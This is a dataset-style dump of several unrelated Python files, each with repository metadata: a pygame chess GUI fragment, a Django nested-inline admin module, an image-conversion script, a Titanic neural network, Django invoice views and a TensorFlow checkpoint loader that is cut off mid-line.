gs.makeMove(validMoves[i]) moveMade = True sqSelected = () playerClicks = [] if not moveMade: playerClicks = [sqSelected] elif event.type == p.KEYDOWN: if event.key == p.K_ESCAPE: running = False sys.exit() if event.key == p.K_z: gs.undoMove() moveMade = True if moveMade: validMoves = gs.getValidMoves() moveMade = False drawGameState(screen, gs) clock.tick(MAX_FPS) p.display.update() """ responsible for all graphics on game screen """ def drawGameState(screen, gs): drawBoard(screen) drawPieces(screen, gs.board) """ draws squares on the board """ def drawBoard(screen): cellDimension = WIDTH // DIMENSION colors = [p.Color('white'), p.Color('gray')] for row in range(DIMENSION): for col in range(DIMENSION): color = colors[(row + col) % 2] p.draw.rect(screen, color, p.Rect(col * SQ_SIZE, row * SQ_SIZE, SQ_SIZE, SQ_SIZE)) """ draws pieces on the board using current game state board var """ def drawPieces(screen, board): for row in range(DIMENSION): for col in range(DIMENSION): piece = board[row][col] if piece != "--": screen.blit(IMAGES[piece], p.Rect(col * SQ_SIZE, row * SQ_SIZE, SQ_SIZE, SQ_SIZE)) if __name__ == "__main__": main()
[ "alex.t.tran@gmail.com" ]
alex.t.tran@gmail.com
007b4b4741e2d36de78e21ce4688e4a3f887380b
bf1b86892834cc85607ff9cc5fd878e9c8daade6
/nested_inlines/admin.py
d1afb89e38c3b5406e9695a5ebbd3ab620539115
[]
no_license
nino-c/nino.cc
b45c18fad9b1bed4a5f37495c9ba28ae17cfe09c
f8cc0a1c247271c1de35fbf926a96f4a98e9d511
refs/heads/master
2022-12-07T10:14:56.274113
2014-07-01T23:50:05
2014-07-01T23:50:05
21,405,517
2
0
null
2022-11-22T00:26:03
2014-07-01T23:41:00
JavaScript
UTF-8
Python
false
false
16,409
py
from django.contrib.admin.options import (ModelAdmin, InlineModelAdmin, csrf_protect_m, models, transaction, all_valid, PermissionDenied, unquote, escape, Http404, reverse) # Fix to make Django 1.5 compatible, maintain backwards compatibility try: from django.contrib.admin.options import force_unicode except ImportError: from django.utils.encoding import force_unicode from django.contrib.admin.helpers import InlineAdminFormSet, AdminForm from django.utils.translation import ugettext as _ from forms import BaseNestedModelForm, BaseNestedInlineFormSet from helpers import AdminErrorList class NestedModelAdmin(ModelAdmin): class Media: css = {'all': ('admin/css/nested.css',)} js = ('admin/js/nested.js',) def get_form(self, request, obj=None, **kwargs): return super(NestedModelAdmin, self).get_form( request, obj, form=BaseNestedModelForm, **kwargs) def get_inline_instances(self, request, obj=None): inline_instances = [] for inline_class in self.inlines: inline = inline_class(self.model, self.admin_site) if request: if not (inline.has_add_permission(request) or inline.has_change_permission(request, obj) or inline.has_delete_permission(request, obj)): continue if not inline.has_add_permission(request): inline.max_num = 0 inline_instances.append(inline) return inline_instances def save_formset(self, request, form, formset, change): """ Given an inline formset save it to the database. """ formset.save() #iterate through the nested formsets and save them #skip formsets, where the parent is marked for deletion deleted_forms = formset.deleted_forms for form in formset.forms: if hasattr(form, 'nested_formsets') and form not in deleted_forms: for nested_formset in form.nested_formsets: self.save_formset(request, form, nested_formset, change) def add_nested_inline_formsets(self, request, inline, formset, depth=0): if depth > 5: raise Exception("Maximum nesting depth reached (5)") for form in formset.forms: nested_formsets = [] for nested_inline in inline.get_inline_instances(request): InlineFormSet = nested_inline.get_formset(request, form.instance) prefix = "%s-%s" % (form.prefix, InlineFormSet.get_default_prefix()) #because of form nesting with extra=0 it might happen, that the post data doesn't include values for the formset. #This would lead to a Exception, because the ManagementForm construction fails. So we check if there is data available, and otherwise create an empty form keys = request.POST.keys() has_params = any(s.startswith(prefix) for s in keys) if request.method == 'POST' and has_params: nested_formset = InlineFormSet(request.POST, request.FILES, instance=form.instance, prefix=prefix, queryset=nested_inline.queryset(request)) else: nested_formset = InlineFormSet(instance=form.instance, prefix=prefix, queryset=nested_inline.queryset(request)) nested_formsets.append(nested_formset) if nested_inline.inlines: self.add_nested_inline_formsets(request, nested_inline, nested_formset, depth=depth+1) form.nested_formsets = nested_formsets def wrap_nested_inline_formsets(self, request, inline, formset): """wraps each formset in a helpers.InlineAdminFormset. @TODO someone with more inside knowledge should write done why this is done """ media = None def get_media(extra_media): if media: return media + extra_media else: return extra_media for form in formset.forms: wrapped_nested_formsets = [] for nested_inline, nested_formset in zip(inline.get_inline_instances(request), form.nested_formsets): if form.instance.pk: instance = form.instance else: instance = None fieldsets = list(nested_inline.get_fieldsets(request)) readonly = list(nested_inline.get_readonly_fields(request)) prepopulated = dict(nested_inline.get_prepopulated_fields(request)) wrapped_nested_formset = InlineAdminFormSet(nested_inline, nested_formset, fieldsets, prepopulated, readonly, model_admin=self) wrapped_nested_formsets.append(wrapped_nested_formset) media = get_media(wrapped_nested_formset.media) if nested_inline.inlines: media = get_media(self.wrap_nested_inline_formsets(request, nested_inline, nested_formset)) form.nested_formsets = wrapped_nested_formsets return media def all_valid_with_nesting(self, formsets): """Recursively validate all nested formsets """ if not all_valid(formsets): return False for formset in formsets: if not formset.is_bound: pass for form in formset: if hasattr(form, 'nested_formsets'): if not self.all_valid_with_nesting(form.nested_formsets): return False return True @csrf_protect_m @transaction.commit_on_success def add_view(self, request, form_url='', extra_context=None): "The 'add' admin view for this model." model = self.model opts = model._meta if not self.has_add_permission(request): raise PermissionDenied ModelForm = self.get_form(request) formsets = [] inline_instances = self.get_inline_instances(request, None) if request.method == 'POST': form = ModelForm(request.POST, request.FILES) if form.is_valid(): new_object = self.save_form(request, form, change=False) form_validated = True else: form_validated = False new_object = self.model() prefixes = {} for FormSet, inline in zip(self.get_formsets(request), inline_instances): prefix = FormSet.get_default_prefix() prefixes[prefix] = prefixes.get(prefix, 0) + 1 if prefixes[prefix] != 1 or not prefix: prefix = "%s-%s" % (prefix, prefixes[prefix]) formset = FormSet(data=request.POST, files=request.FILES, instance=new_object, save_as_new="_saveasnew" in request.POST, prefix=prefix, queryset=inline.queryset(request)) formsets.append(formset) if inline.inlines: self.add_nested_inline_formsets(request, inline, formset) if self.all_valid_with_nesting(formsets) and form_validated: self.save_model(request, new_object, form, False) self.save_related(request, form, formsets, False) self.log_addition(request, new_object) return self.response_add(request, new_object) else: # Prepare the dict of initial data from the request. # We have to special-case M2Ms as a list of comma-separated PKs. initial = dict(request.GET.items()) for k in initial: try: f = opts.get_field(k) except models.FieldDoesNotExist: continue if isinstance(f, models.ManyToManyField): initial[k] = initial[k].split(",") form = ModelForm(initial=initial) prefixes = {} for FormSet, inline in zip(self.get_formsets(request), inline_instances): prefix = FormSet.get_default_prefix() prefixes[prefix] = prefixes.get(prefix, 0) + 1 if prefixes[prefix] != 1 or not prefix: prefix = "%s-%s" % (prefix, prefixes[prefix]) formset = FormSet(instance=self.model(), prefix=prefix, queryset=inline.queryset(request)) formsets.append(formset) if inline.inlines: self.add_nested_inline_formsets(request, inline, formset) adminForm = AdminForm(form, list(self.get_fieldsets(request)), self.get_prepopulated_fields(request), self.get_readonly_fields(request), model_admin=self) media = self.media + adminForm.media inline_admin_formsets = [] for inline, formset in zip(inline_instances, formsets): fieldsets = list(inline.get_fieldsets(request)) readonly = list(inline.get_readonly_fields(request)) prepopulated = dict(inline.get_prepopulated_fields(request)) inline_admin_formset = InlineAdminFormSet(inline, formset, fieldsets, prepopulated, readonly, model_admin=self) inline_admin_formsets.append(inline_admin_formset) media = media + inline_admin_formset.media if inline.inlines: media = media + self.wrap_nested_inline_formsets(request, inline, formset) context = { 'title': _('Add %s') % force_unicode(opts.verbose_name), 'adminform': adminForm, 'is_popup': "_popup" in request.REQUEST, 'show_delete': False, 'media': media, 'inline_admin_formsets': inline_admin_formsets, 'errors': AdminErrorList(form, formsets), 'app_label': opts.app_label, } context.update(extra_context or {}) return self.render_change_form(request, context, form_url=form_url, add=True) @csrf_protect_m @transaction.commit_on_success def change_view(self, request, object_id, form_url='', extra_context=None): "The 'change' admin view for this model." model = self.model opts = model._meta obj = self.get_object(request, unquote(object_id)) if not self.has_change_permission(request, obj): raise PermissionDenied if obj is None: raise Http404(_('%(name)s object with primary key %(key)r does not exist.') % {'name': force_unicode(opts.verbose_name), 'key': escape(object_id)}) if request.method == 'POST' and "_saveasnew" in request.POST: return self.add_view(request, form_url=reverse('admin:%s_%s_add' % (opts.app_label, opts.module_name), current_app=self.admin_site.name)) ModelForm = self.get_form(request, obj) formsets = [] inline_instances = self.get_inline_instances(request, obj) if request.method == 'POST': form = ModelForm(request.POST, request.FILES, instance=obj) if form.is_valid(): form_validated = True new_object = self.save_form(request, form, change=True) else: form_validated = False new_object = obj prefixes = {} for FormSet, inline in zip(self.get_formsets(request, new_object), inline_instances): prefix = FormSet.get_default_prefix() prefixes[prefix] = prefixes.get(prefix, 0) + 1 if prefixes[prefix] != 1 or not prefix: prefix = "%s-%s" % (prefix, prefixes[prefix]) formset = FormSet(request.POST, request.FILES, instance=new_object, prefix=prefix, queryset=inline.queryset(request)) formsets.append(formset) if inline.inlines: self.add_nested_inline_formsets(request, inline, formset) if self.all_valid_with_nesting(formsets) and form_validated: self.save_model(request, new_object, form, True) self.save_related(request, form, formsets, True) change_message = self.construct_change_message(request, form, formsets) self.log_change(request, new_object, change_message) return self.response_change(request, new_object) else: form = ModelForm(instance=obj) prefixes = {} for FormSet, inline in zip(self.get_formsets(request, obj), inline_instances): prefix = FormSet.get_default_prefix() prefixes[prefix] = prefixes.get(prefix, 0) + 1 if prefixes[prefix] != 1 or not prefix: prefix = "%s-%s" % (prefix, prefixes[prefix]) formset = FormSet(instance=obj, prefix=prefix, queryset=inline.queryset(request)) formsets.append(formset) if inline.inlines: self.add_nested_inline_formsets(request, inline, formset) adminForm = AdminForm(form, self.get_fieldsets(request, obj), self.get_prepopulated_fields(request, obj), self.get_readonly_fields(request, obj), model_admin=self) media = self.media + adminForm.media inline_admin_formsets = [] for inline, formset in zip(inline_instances, formsets): fieldsets = list(inline.get_fieldsets(request, obj)) readonly = list(inline.get_readonly_fields(request, obj)) prepopulated = dict(inline.get_prepopulated_fields(request, obj)) inline_admin_formset = InlineAdminFormSet(inline, formset, fieldsets, prepopulated, readonly, model_admin=self) inline_admin_formsets.append(inline_admin_formset) media = media + inline_admin_formset.media if inline.inlines: media = media + self.wrap_nested_inline_formsets(request, inline, formset) context = { 'title': _('Change %s') % force_unicode(opts.verbose_name), 'adminform': adminForm, 'object_id': object_id, 'original': obj, 'is_popup': "_popup" in request.REQUEST, 'media': media, 'inline_admin_formsets': inline_admin_formsets, 'errors': AdminErrorList(form, formsets), 'app_label': opts.app_label, } context.update(extra_context or {}) return self.render_change_form(request, context, change=True, obj=obj, form_url=form_url) class NestedInlineModelAdmin(InlineModelAdmin): inlines = [] formset = BaseNestedInlineFormSet def get_form(self, request, obj=None, **kwargs): return super(NestedModelAdmin, self).get_form( request, obj, form=BaseNestedModelForm, **kwargs) def get_inline_instances(self, request, obj=None): inline_instances = [] for inline_class in self.inlines: inline = inline_class(self.model, self.admin_site) if request: if not (inline.has_add_permission(request) or inline.has_change_permission(request, obj) or inline.has_delete_permission(request, obj)): continue if not inline.has_add_permission(request): inline.max_num = 0 inline_instances.append(inline) return inline_instances def get_formsets(self, request, obj=None): for inline in self.get_inline_instances(request): yield inline.get_formset(request, obj) class NestedStackedInline(NestedInlineModelAdmin): template = 'admin/edit_inline/stacked.html' class NestedTabularInline(NestedInlineModelAdmin): template = 'admin/edit_inline/tabular.html'
[ "root@vps-1157506-21335.manage.myhosting.com" ]
root@vps-1157506-21335.manage.myhosting.com
8be1160af684daaf374ea320ee7eae6bce15e6f0
f44084804739a9b1c2952624d9dfe3c248bb7700
/Facial/convert_csv2gray.py
89281a289c07a74f18c806c51d1ac34a0b49ca4b
[]
no_license
jmnie/DeepGlint-Work
b83c4e5dbe9718254be24e89ca34f2f367124e0d
7a7739f8f2ab21d180ad00b9c4a2fc0a79dc1e40
refs/heads/master
2020-03-17T12:34:23.649144
2018-07-25T09:56:44
2018-07-25T09:56:44
133,594,372
0
1
null
null
null
null
UTF-8
Python
false
false
1,137
py
# -*- coding: utf-8 -*- import csv import os from PIL import Image import numpy as np datasets_path = r'.\datasets' train_csv = os.path.join(datasets_path, 'train.csv') val_csv = os.path.join(datasets_path, 'val.csv') test_csv = os.path.join(datasets_path, 'test.csv') train_set = os.path.join(datasets_path, 'train') val_set = os.path.join(datasets_path, 'val') test_set = os.path.join(datasets_path, 'test') for save_path, csv_file in [(train_set, train_csv), (val_set, val_csv), (test_set, test_csv)]: if not os.path.exists(save_path): os.makedirs(save_path) num = 1 with open(csv_file) as f: csvr = csv.reader(f) header = next(csvr) for i, (label, pixel) in enumerate(csvr): pixel = np.asarray([float(p) for p in pixel.split()]).reshape(48, 48) subfolder = os.path.join(save_path, label) if not os.path.exists(subfolder): os.makedirs(subfolder) im = Image.fromarray(pixel).convert('L') image_name = os.path.join(subfolder, '{:05d}.jpg'.format(i)) print(image_name) im.save(image_name)
[ "jiaming.nie13@gmail.com" ]
jiaming.nie13@gmail.com
a90fc3355d83895807935a549c13a581710de1b4
f76efdb77f816b6536bdb0d218d307523f5e5d5d
/NNModel.py
bf4dc64b24d851d2c408cc31a82e26b1236856d3
[]
no_license
maigovannon/DeepLearning
5cf9a453f772e7b0fc88c3caac1c8c0c5ebc6636
6547980d53e290a3f34093010110e5721aff524a
refs/heads/master
2021-05-12T15:25:33.653139
2018-01-18T17:48:31
2018-01-18T17:48:31
116,983,247
0
0
null
null
null
null
UTF-8
Python
false
false
3,213
py
from Interface import * import numpy as np import matplotlib.pyplot as plt import pandas as pd from pandas import DataFrame as df from sklearn import preprocessing from sklearn.model_selection import train_test_split def L_layer_model(X, Y, layer_dims, learning_rate=0.0075, num_iterations=3000, print_cost=False): np.random.seed(1) costs = [] params = initialize_parameters_random(layer_dims) for i in range(num_iterations): AL, caches = L_model_forward(X, params) cost = compute_cost(AL, Y) grads = L_model_backward(AL, Y, caches) params = update_parameters(params, grads, learning_rate) if i % 100 == 0: if print_cost: print("Cost after iteration %d: %f" % (i, cost)) costs.append(cost) plt.plot(np.squeeze(costs)) plt.ylabel('cost') plt.xlabel('iterations (per thousands)') plt.title("Learning rate = " + str(learning_rate)) plt.show() return params def clean_data(data_cleaner): for dataset in data_cleaner: dataset['Age'].fillna(dataset['Age'].median(), inplace=True) dataset['Embarked'].fillna(dataset['Embarked'].mode()[0], inplace=True) dataset['Fare'].fillna(dataset['Fare'].median(), inplace=True) data1.drop(['Cabin', 'Ticket', 'PassengerId'], axis=1, inplace=True) def feature_engineer (data_cleaner): for dataset in data_cleaner: dataset['FamilySize'] = dataset['SibSp'] + dataset['Parch'] dataset['IsAlone'] = (dataset['FamilySize'] == 0).astype(int) dataset['FareBin'] = pd.qcut(dataset['Fare'], 4) dataset['AgeBin'] = pd.cut(dataset['Age'].astype(int), 5) dataset['Title'] = dataset['Name'].str.split(", ", expand=True)[1].str.split(".", expand=True)[0] def convert_formats(data_cleaner): label = preprocessing.LabelEncoder() for dataset in data_cleaner: dataset['Sex_Code'] = label.fit_transform(dataset['Sex']) dataset['Embarked_Code'] = label.fit_transform(dataset['Embarked']) dataset['Title_Code'] = label.fit_transform(dataset['Title']) dataset['AgeBin_Code'] = label.fit_transform(dataset['AgeBin']) dataset['FareBin_Code'] = label.fit_transform(dataset['FareBin']) train_file = r"C:\developer\kaggle\titanic\train.csv" test_file = r"C:\developer\kaggle\titanic\test.csv" train_data = pd.read_csv(train_file) test_data = pd.read_csv(test_file) data1 = train_data.copy() clean_data([data1, test_data]) feature_engineer([data1, test_data]) convert_formats([data1, test_data]) ipLabels = ['Sex_Code','Pclass', 'Embarked_Code', 'Title_Code', 'FamilySize', 'AgeBin_Code', 'FareBin_Code'] opLabels = ['Survived'] X = data1[ipLabels] # X = data1.loc[:, data1.columns != 'Survived'] Y = data1[opLabels] df.to_csv(X, 'foo.csv') trainX, testX, trainY, testY = train_test_split(X, Y, random_state=0) layers_dims = [X.shape[1], 100, 20, 1] params = L_layer_model(trainX.T.values, trainY.T.values, layers_dims, print_cost=True, num_iterations=35000, learning_rate=0.0075) acc = accuracy(trainX.T.values, trainY.T.values, params) print(f"Train accuracy = {acc}%") print(f"Test accuracy = {accuracy(testX.T.values, testY.T.values, params)}")
[ "abhinandsundar@gmail.com" ]
abhinandsundar@gmail.com
d4760ff4c833f78ede6feab4c7e69ea26fb96a7c
586a67650102938663f79290f02467ad8a683b43
/invoice/views/invoices.py
5042e0fa85e79d4a9192a039b308238a037e447c
[]
no_license
Shokr/yalla_invoice
64956d886a5056455e519f7c1cfaf364138609d3
5a668963f4cb2a42e4111d855543a680ceec90c4
refs/heads/master
2022-10-04T09:50:32.517524
2021-05-03T20:06:42
2021-05-03T20:06:42
241,491,107
1
0
null
2022-09-23T22:36:00
2020-02-18T23:38:39
Python
UTF-8
Python
false
false
4,101
py
from django.http import HttpResponseRedirect from django.shortcuts import get_object_or_404, render from django.urls import reverse from django.contrib.auth.decorators import login_required from django.contrib.auth.decorators import login_required, user_passes_test import datetime # Local Applications imports from ..forms import * @login_required def index(request): invoices = Invoice.objects.all().order_by('-date_created') context = { 'title': 'Recent Invoices', 'invoice_list': invoices, } return render(request, 'invoice/index.html', context) # Show big list of all invoices @login_required def all_invoices(request): invoices = Invoice.objects.order_by('-date_created') context = { 'title': 'All Invoices', 'invoice_list': invoices, } return render(request, 'invoice/all_invoice.html', context) # Show invalid invoices @login_required def invalid_invoices(request): invoices = Invoice.objects.filter(valid='False').order_by('-date_created') context = { 'title': 'Invalid Invoices', 'invoice_list': invoices, } return render(request, 'invoice/invalid_invoices.html', context) # Display a specific invoice @login_required def invoice(request, invoice_id): invoice = get_object_or_404(Invoice, pk=invoice_id) itemformset = ItemFormset() context = { 'title': 'Invoice ' + str(invoice_id), 'invoice': invoice, 'formset': itemformset, } return render(request, 'invoice/invoice.html', context) # Search for invoice @login_required def search_invoice(request): id = request.POST['id'] return HttpResponseRedirect(reverse('invoice:view_invoice', args=(id,))) # Create new invoice @login_required def new_invoice(request): # If no customer_id is defined, create a new invoice if request.method == 'POST': customer_id = request.POST.get("customer_id", "None") user = request.user.username if customer_id == 'None': customers = Customer.objects.order_by('name') context = { 'title': 'New Invoice', 'customer_list': customers, 'error_message': 'Please select a customer.', } return render(request, 'invoice/new_invoice.html', context) else: customer = get_object_or_404(Customer, pk=customer_id) i = Invoice(customer=customer, user=user) i.save() return HttpResponseRedirect(reverse('invoice:invoice', args=(i.id,))) else: # Customer list needed to populate select field customers = Customer.objects.order_by('name') context = { 'title': 'New Invoice', 'customer_list': customers, } return render(request, 'invoice/new_invoice.html', context) # View invoice @login_required def view_invoice(request, invoice_id): invoice = get_object_or_404(Invoice, pk=invoice_id) context = { 'title': "Invoice " + str(invoice_id), 'invoice': invoice, } return render(request, 'invoice/view_invoice.html', context) # # edit invoice # @login_required # def edit_invoice(request, invoice_id): # invoice = get_object_or_404(Invoice, pk=invoice_id) # context = { # 'title': "Invoice " + str(invoice_id), # 'invoice': invoice, # } # return render(request, 'invoice/invoice.html', context) # Print invoice @login_required def print_invoice(request, invoice_id): invoice = get_object_or_404(Invoice, pk=invoice_id) context = { 'title': "Invoice " + str(invoice_id), 'invoice': invoice, } return render(request, 'invoice/print_invoice.html', context) # Invalidate an invoice @login_required # @user_passes_test(lambda u: u.groups.filter(name='xmen').count() == 0, login_url='invoice/all_invoice.html') def invalidate_invoice(request, invoice_id): invoice = get_object_or_404(Invoice, pk=invoice_id) invoice.valid = False invoice.save() return HttpResponseRedirect(reverse('invoice:index'))
[ "mohammedshokr2014@gmail.com" ]
mohammedshokr2014@gmail.com
e47c7fcfa88f67e8520c7b7102a906e6aebfbad0
e085fc94f5295c08e02cbd883b7b360ddd691306
/ch04/simpleNet.py
b2cdabf6a93131feb53c2a21584144012b8fb9ae
[]
no_license
HarvestGuo/DeepLearn
40b46445f31ac5b7698ee79f1f3aa18aa44add4f
7b2e03561409fb1dd15998eba4a96422bb3e85d3
refs/heads/master
2022-10-22T23:50:21.973073
2020-05-28T10:01:48
2020-05-28T10:01:48
null
0
0
null
null
null
null
UTF-8
Python
false
false
702
py
import sys,os sys.path.append(os.getcwd()) #父目录 import numpy as np from common.functions import softmax,cross_entropy_error from common.gradient import numerical_gradient class simpleNet: def __init__(self): self.W=np.random.rand(2,3) #用高斯分布进行初始化 def predict(self,x): return np.dot(x,self.W) def loss(self,x,t): z=self.predict(x) y=softmax(z) loss=cross_entropy_error(y,t) return loss net=simpleNet() print(net.W) x=np.array([0.6,0.9]) p=net.predict(x) print(p) t=np.array([0,0,0]) t[np.argmax(p)]=1 print(net.loss(x,t)) def f(W): return net.loss(x,t) dW=numerical_gradient(f,net.W) print(dW)
[ "yufeiran1999@gmail.com" ]
yufeiran1999@gmail.com
2b7b0c03769197c728e027963b851c9584041103
3d5c6d8e24dd8905e70d8a9d76d5019912123627
/Python/02_DataEngineering/Pandas/04_read_clipboard.py
361cf33eea2299ab955a00cc48f40392d4e6fe1f
[]
no_license
xiaolongjia/techTrees
5c684bbf77b0800a4dd946b3739114d7d15fb9e3
86bc4d3466d648caa93f8591619b5ca3b06a6470
refs/heads/master
2023-03-16T11:29:46.866850
2022-02-19T16:26:45
2022-02-19T16:26:45
235,251,689
0
0
null
2023-03-07T10:04:50
2020-01-21T03:55:13
HTML
UTF-8
Python
false
false
442
py
#!C:\Anaconda3\python.exe import numpy as np import pandas as pd import os cp = pd.read_clipboard(sep='\t') print(cp) cp.to_json('df.json', orient='records', lines=True) os.remove("./df.json") # Data textMatrix = [("Earth", "Sphere", "Geoid"), ("Matter", "Particle", "Wave"), ("Magnet", "Flex", "Electricity")]; # Create a DataFrame df = pd.DataFrame(data=textMatrix); # Copy DataFrame contents to clipboard df.to_clipboard(sep="\t");
[ "jiaxiaolong@gmail.com" ]
jiaxiaolong@gmail.com
ddd01a61030f24111e49e364619d2ef2c2d0cc22
0b417582d01ab93549fd8c344665ac26dc80120a
/core/Saver.py
856c5f6fd38b5f8f5f66636d2a87339e429d797f
[]
no_license
mt-cly/itis
1b8b081f1e4cd32b5cd9904c250d1fe3574dbfea
39cfbf18579c99d50433f5414a2098f74e0bbc34
refs/heads/master
2022-02-17T23:27:47.209334
2019-08-29T07:43:46
2019-08-29T07:43:46
null
0
0
null
null
null
null
UTF-8
Python
false
false
10,005
py
import glob import numpy as np import tensorflow as tf import pickle from tensorflow.contrib.framework import list_variables, load_variable from core.Log import log class Saver: def __init__(self, config, session): self.session = session max_saves_to_keep = config.int("max_saves_to_keep", 0) self.tf_saver = tf.train.Saver(max_to_keep=max_saves_to_keep, pad_step_number=True) self.model = config.string("model") self.model_base_dir = config.dir("model_dir", "models") self.model_dir = self.model_base_dir + self.model + "/" self.load = config.string("load", "") self.load_init_savers = None try: self.load_init = config.string("load_init", "") if self.load_init == "": self.load_init = [] else: self.load_init = [self.load_init] except TypeError: self.load_init = config.string_list("load_init", []) def save_model(self, epoch): tf.gfile.MakeDirs(self.model_dir) self.tf_saver.save(self.session, self.model_dir + self.model, epoch) def try_load_weights(self): start_epoch = 0 fn = None if self.load != "": fn = self.load.replace(".index", "") else: files = sorted(glob.glob(self.model_dir + self.model + "-*.index")) if len(files) > 0: fn = files[-1].replace(".index", "") if fn is not None: print("loading model from", fn, file=log.v1) self.tf_saver.restore(self.session, fn) if self.model == fn.split("/")[-2]: try: start_epoch = int(fn.split("-")[-1]) except: start_epoch = 0 print("starting from epoch", start_epoch + 1, file=log.v1) else: if self.load_init_savers is None: self.load_init_savers = [self._create_load_init_saver(x) for x in self.load_init] assert len(self.load_init) == len(self.load_init_savers) for fn, load_init_saver in zip(self.load_init, self.load_init_savers): if fn.endswith(".pickle"): print("trying to initialize model from wider-or-deeper mxnet model", fn, file=log.v1) load_wider_or_deeper_mxnet_model(fn, self.session) elif fn.startswith("DeepLabRGB:"): fn = fn.replace("DeepLabRGB:", "") print("initializing DeepLab RGB weights from", fn) self._initialize_deep_lab_rgb_weights(fn) else: print("initializing model from", fn, file=log.v1) assert load_init_saver is not None load_init_saver.restore(self.session, fn) return start_epoch def _create_load_init_saver(self, filename): if self.load != "": return None if len(glob.glob(self.model_dir + self.model + "-*.index")) > 0: return None if filename == "" or filename.endswith(".pickle") or filename.startswith("DeepLabRGB:"): return None vars_and_shapes_file = [x for x in list_variables(filename) if x[0] != "global_step"] vars_file = [x[0] for x in vars_and_shapes_file] vars_to_shapes_file = {x[0]: x[1] for x in vars_and_shapes_file} vars_model = tf.global_variables() assert all([x.name.endswith(":0") for x in vars_model]) vars_intersection = [x for x in vars_model if x.name[:-2] in vars_file] vars_missing_in_graph = [x for x in vars_model if x.name[:-2] not in vars_file and "Adam" not in x.name and "beta1_power" not in x.name and "beta2_power" not in x.name] if len(vars_missing_in_graph) > 0: print("the following variables will not be initialized since they are not present in the initialization model", [v.name for v in vars_missing_in_graph], file=log.v1) var_names_model = [x.name for x in vars_model] vars_missing_in_file = [x for x in vars_file if x + ":0" not in var_names_model and "RMSProp" not in x and "Adam" not in x and "Momentum" not in x] if len(vars_missing_in_file) > 0: print("the following variables will not be loaded from the file since they are not present in the graph", vars_missing_in_file, file=log.v1) vars_shape_mismatch = [x for x in vars_intersection if x.shape.as_list() != vars_to_shapes_file[x.name[:-2]]] if len(vars_shape_mismatch) > 0: print("the following variables will not be loaded from the file since the shapes in the graph and in the file " "don't match:", [(x.name, x.shape) for x in vars_shape_mismatch if "Adam" not in x.name], file=log.v1) vars_intersection = [x for x in vars_intersection if x not in vars_shape_mismatch] return tf.train.Saver(var_list=vars_intersection) def _initialize_deep_lab_rgb_weights(self, fn): vars_ = tf.global_variables() var_w = [x for x in vars_ if x.name == "xception_65/entry_flow/conv1_1/weights:0"] assert len(var_w) == 1, len(var_w) var_w = var_w[0] w = load_variable(fn, "xception_65/entry_flow/conv1_1/weights") val_new_w = self.session.run(var_w) val_new_w[:, :, :3, :] = w placeholder_w = tf.placeholder(tf.float32) assign_op_w = tf.assign(var_w, placeholder_w) self.session.run(assign_op_w, feed_dict={placeholder_w: val_new_w}) def load_wider_or_deeper_mxnet_model(model_path, session): params = pickle.load(open(model_path, "rb"), encoding="bytes") vars_ = tf.global_variables() model_name = model_path.split("/")[-1] if model_name.startswith("ilsvrc"): layer_mapping = {"res0": "res2a", "res1": "res2b1", "res2": "res2b2", "res3": "res3a", "res4": "res3b1", "res5": "res3b2", "res6": "res4a", "res7": "res4b1", "res8": "res4b2", "res9": "res4b3", "res10": "res4b4", "res11": "res4b5", "res12": "res5a", "res13": "res5b1", "res14": "res5b2", "res15": "res6a", "res16": "res7a", "output": "linear1000", "conv0": "conv1a", "collapse": "bn7"} elif model_name.startswith("ade"): layer_mapping = {"res0": "res2a", "res1": "res2b1", "res2": "res2b2", "res3": "res3a", "res4": "res3b1", "res5": "res3b2", "res6": "res4a", "res7": "res4b1", "res8": "res4b2", "res9": "res4b3", "res10": "res4b4", "res11": "res4b5", "res12": "res5a", "res13": "res5b1", "res14": "res5b2", "res15": "res6a", "res16": "res7a", "output": "linear150", "conv0": "conv1a", "conv1": ["bn7", "conv6a"]} elif model_name.startswith("voc"): layer_mapping = {"res0": "res2a", "res1": "res2b1", "res2": "res2b2", "res3": "res3a", "res4": "res3b1", "res5": "res3b2", "res6": "res4a", "res7": "res4b1", "res8": "res4b2", "res9": "res4b3", "res10": "res4b4", "res11": "res4b5", "res12": "res5a", "res13": "res5b1", "res14": "res5b2", "res15": "res6a", "res16": "res7a", "output": "linear21", "conv0": "conv1a", "conv1": ["bn7", "conv6a"]} else: assert False, model_name # from str (without :0) to var var_dict = {v.name[:-2]: v for v in vars_ if "Adam" not in v.name and "_power" not in v.name and "global_step" not in v.name} # from our var name to mxnet var name mxnet_dict = create_mxnet_dict(layer_mapping, var_dict) for k, v in mxnet_dict.items(): assert v in params, (k, v) # use a placeholders to avoid memory issues when putting the weights as constants in the graph feed_dict = {} ops = [] for idx, (k, v) in enumerate(mxnet_dict.items()): # print(idx, "/", len(mxnet_dict), "loading", k, file=log.v5) val = params[v] if val.ndim == 1: pass elif val.ndim == 2: val = np.swapaxes(val, 0, 1) elif val.ndim == 4: val = np.moveaxis(val, [0, 1, 2, 3], [3, 2, 0, 1]) else: assert False, val.ndim var = var_dict[k] if var.get_shape() == val.shape: placeholder = tf.placeholder(tf.float32) op = tf.assign(var, placeholder) feed_dict[placeholder] = val ops.append(op) elif k.startswith("conv0"): print("warning, sizes for", k, "do not match, initializing matching part assuming the first 3 dimensions are RGB", file=log.v1) val_new = session.run(var) val_new[..., :3, :] = val placeholder = tf.placeholder(tf.float32) op = tf.assign(var, placeholder) feed_dict[placeholder] = val_new ops.append(op) else: print("skipping", k, "since the shapes do not match:", var.get_shape(), "and", val.shape, file=log.v1) session.run(ops, feed_dict=feed_dict) print("done loading mxnet model", file=log.v1) def create_mxnet_dict(layer_mapping, var_dict): mxnet_dict = {} for vn in var_dict: sp = vn.split("/") if sp[0] not in layer_mapping: print("warning,", vn, "not found in mxnet model", file=log.v1) continue layer = layer_mapping[sp[0]] if "bn" in sp[1]: if isinstance(layer, list): layer = layer[0] layer = layer.replace("res", "bn") if sp[2] == "beta": postfix = "_beta" elif sp[2] == "gamma": postfix = "_gamma" elif sp[2] == "mean_ema": postfix = "_moving_mean" elif sp[2] == "var_ema": postfix = "_moving_var" else: assert False, sp else: if isinstance(layer, list): layer = layer[1] postfix = "_weight" if "ema" in vn: layer = "aux:" + layer else: layer = "arg:" + layer if sp[1] == "W0": branch = "_branch1" elif sp[1] == "W1": branch = "_branch2a" elif sp[1] == "W2": branch = "_branch2b1" elif sp[1] == "W3": branch = "_branch2b2" elif sp[1] == "W": branch = "" elif sp[1] == "bn0": branch = "_branch2a" elif sp[1] == "bn2": branch = "_branch2b1" elif sp[1] == "bn3": branch = "_branch2b2" # for collapse elif sp[1] == "bn": branch = "" elif sp[1] == "b": branch = "" postfix = 